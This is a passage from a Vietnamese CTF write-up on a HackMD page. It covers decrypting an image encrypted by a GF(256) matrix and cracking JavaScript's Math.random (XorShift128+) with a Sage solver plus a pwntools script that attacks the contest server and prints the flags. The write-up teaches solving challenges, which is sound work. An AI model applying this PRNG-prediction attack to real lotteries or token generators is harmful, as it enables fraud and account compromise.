x in range(width): for y in range(0,height,3): A = GF256([pixels[x, y], pixels[x, y+1], pixels[x, y+2]]) M = np.add(A, M) pixels[x, y], pixels[x, y+1], pixels[x, y+2] = [tuple([int(i) for i in j]) for j in M] img.save('qr_flag_encrypt.png') ``` Với bài này, ta cần decrypt file `qr_flag_encrypt.png`. Ta thấy rằng, với file `.png` thì header là cố định, vì thế nên các pixel đầu sẽ giống nhau. Bằng cách này, ta sẽ tạo matrix từ các pixel đầu của `qr_flag_encrypt.png` và `qr_flag_rgb` (File mẫu mà server cho) để tìm `M`. Khi đã có `M`, mọi việc trở nên đơn giản. ```py from PIL import Image import numpy as np import galois GF256 = galois.GF(2**8) img = Image.open('qr_flag_rgb.png') pixels = img.load() width, height = img.size enc_img = Image.open('qr_flag_encrypt.png') pixels2 = enc_img.load() width2, height2 = enc_img.size A = GF256([pixels[0, 0], pixels[0, 0+1], pixels[0, 0+2]]) Ae = GF256([pixels2[0, 0], pixels2[0, 0+1], pixels2[0, 0+2]]) M0 = np.subtract(Ae, A) for x in range(width): for y in range(3,height,3): Ae = GF256([pixels2[x, y], pixels2[x, y+1], pixels2[x, y+2]]) A = np.subtract(Ae, M0) M0 = Ae pixels[x, y], pixels[x, y+1], pixels[x, y+2] = [tuple([int(i) for i in j]) for j in A] img.save('qr_flag_rgb.png') ``` > flag: KCSC{CrYpt0-l1k3-St3g4n0???} ### Lottery Vì source code dài quá nên mình không paste ở đây :)) Trong bài này, ta cần phải crack `Math.random()` của JS. Mình có tìm được blog [này](https://imp.ress.me/blog/2023-04-17/plaidctf-2023/) và [này](https://hackmd.io/@m1dm4n/plaidctf2023). Do 2 writeup trên giải thích khá chi tiết về cách crack nên mình chỉ việc làm theo thôi. `crack.py` ```py class BV: def __init__(self, data): # data is 64-long list of 128 bit ints # data[0] is a 128 bit int indicating the mask of bits in s0s1 # which are xor-ed together to generate the 0th (LSB) bit of # this state # Low 64 bits of s0s1 come from s0, high 64 bits come from s1 assert(len(data) == 64) self.data = data def __xor__(self, other): return BV([i ^ j for i, j in zip(self.data, other.data)]) def __lshift__(self, other): # After left shift the least significant bits of the state # should be empty return BV([0] * other + self.data[:-other]) def __rshift__(self, other): # After right shift the most significant bits of the state # should be empty return BV(self.data[other:] + [0] * other) def coef(self, pos): # Converts 128 bit mask into list of ints coef = f"{self.data[pos]:0128b}" coef = [int(i) for i in coef[::-1]] return coef def eval_one(self, s0s1, pos): # From a known s0s1, evalute the bit at one position val = sum([i * j for i, j in zip(self.coef(pos), s0s1)]) % 2 return val def eval_all(self, s0s1): # From a known s0s1, evalute the bit at all positions and get # the u64 output vals = [self.eval_one(s0s1, pos) for pos in range(64)] vals = "".join([str(i) for i in vals[::-1]]) vals = int(vals, 2) return vals def solve(inp): def xs128p(state0, state1): s1 = state0 s0 = state1 s1 = s1 ^ (s1 << 23) s1 = s1 ^ (s1 >> 17) s1 = s1 ^ s0 s1 = s1 ^ (s0 >> 26) output_state = state0 state0 = state1 state1 = s1 return state0, state1, output_state # Initial symbolic values of s0 and s1 BV.s0 = BV([1 << i for i in range(64)]) BV.s1 = BV([1 << i for i in range(64, 128)]) def schedule_sequence(seq): assert(len(seq) % 64 == 0) # ensure block aligned return [ j for i in range(0, len(seq), 64) for j in seq[i:i+64][::-1] ] n_steps = 64 * 70 s0, s1 = BV.s0, BV.s1 prng_states = [] for _ in range(n_steps): s0, s1, output_state = xs128p(s0, s1) prng_states.append(output_state) prng_states = schedule_sequence(prng_states) import struct def f64_to_u64(f): # f64 in [0, 1) to u64 XorShift128 state if f == 1.0: return 0xffffffffffffffff buf = struct.pack("d", f + 1) u52 = struct.unpack("<Q", buf)[0] & 0x000fffffffffffff u64 = u52 << 12 return u64 def u64_to_f64(u): # u64 XorShift128 state to f64 in [0, 1) buf = struct.pack("<Q", (u >> 12) | 0x3FF0000000000000) f64 = struct.unpack("d", buf)[0] - 1 return f64 def tand(a, b): return "".join([ i if i == j else "?" for i, j in zip(a, b) ]) high_bits_max_precision = 12 def fmt(x): return f"{x:012b}" def generate_moon_to_fixed_msb(n_buckets): fractions = [ f64_to_u64(i / n_buckets) >> (64 - high_bits_max_precision) for i in range(0, n_buckets+1) ] moon_to_fixed_msb = {} for idx, (i, j) in enumerate(zip(fractions, fractions[1:])): acc = fmt(i) for k in range(i, j + 1): acc = tand(acc, fmt(k)) moon_to_fixed_msb[idx] = acc.rstrip("?") return moon_to_fixed_msb moon_to_fixed_msb = generate_moon_to_fixed_msb(26) from sage.all_cmdline import Matrix, vector, GF moon_to_fixed_msb_precomp = { k: [(63 - idx, int(fix_bit)) for idx, fix_bit in enumerate(v)] for k, v in moon_to_fixed_msb.items() } F = GF(2) charset = 'abcdefghijklmnopqrstuvwxyz' def moon_to_buckets(moon): return [ charset.index(i) for i in moon ] def buckets_to_moon(buckets): return "".join([ charset[i] for i in buckets ]) moons = moon_to_buckets(inp) for offset in range(64): system_mat = [] system_vec = [] math_random = iter(prng_states) for _ in range(offset): next(math_random) for moon in moons: moon_prng_state = next(math_random) for bit_pos, fix_value in moon_to_fixed_msb_precomp[moon]: system_mat.append(moon_prng_state.coef(bit_pos)) system_vec.append(fix_value) try: s0s1 = Matrix(F, system_mat).solve_right(vector(F, system_vec)) print(f"Found s0s1 with {offset = }") except ValueError: # no solution, offset is wrong continue soln = [ int(u64_to_f64(prng_state.eval_all(s0s1)) * 26) for prng_state in prng_states[offset + 192: offset + 192 + 128] ] ans = buckets_to_moon(soln) yield ans ``` `solve.py` ```py from test import * from pwn import * from hashlib import sha256 from string import ascii_letters from itertools import product target = remote("103.163.24.78", 2005) recv = target.recvline().decode()[:-1].split(" ") start = recv[6][1:-1] shaend = recv[-1] print("solve pow") for end in product(ascii_letters, repeat=11-len(start)): end = "".join(end) hash = sha256((start + end).encode()).hexdigest() if hash[-6:] == shaend: pow = start + end break target.sendline(pow) for _ in range(50): target.recvline() prefix = target.recvline().decode()[:-1] hash = target.recvline().decode()[:-1] print(prefix) print(hash) for ans in solve(prefix): if hashlib.sha256(ans.encode()).hexdigest() == hash: target.send((ans + '\n').encode()) break target.recvline() target.recvline() target.interactive() ``` > KCSC{I_ch4ngeD_tHe_4lph4bet_bUt_sEEm_n0t_4_pr0blEm_f0r_U_@-@}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully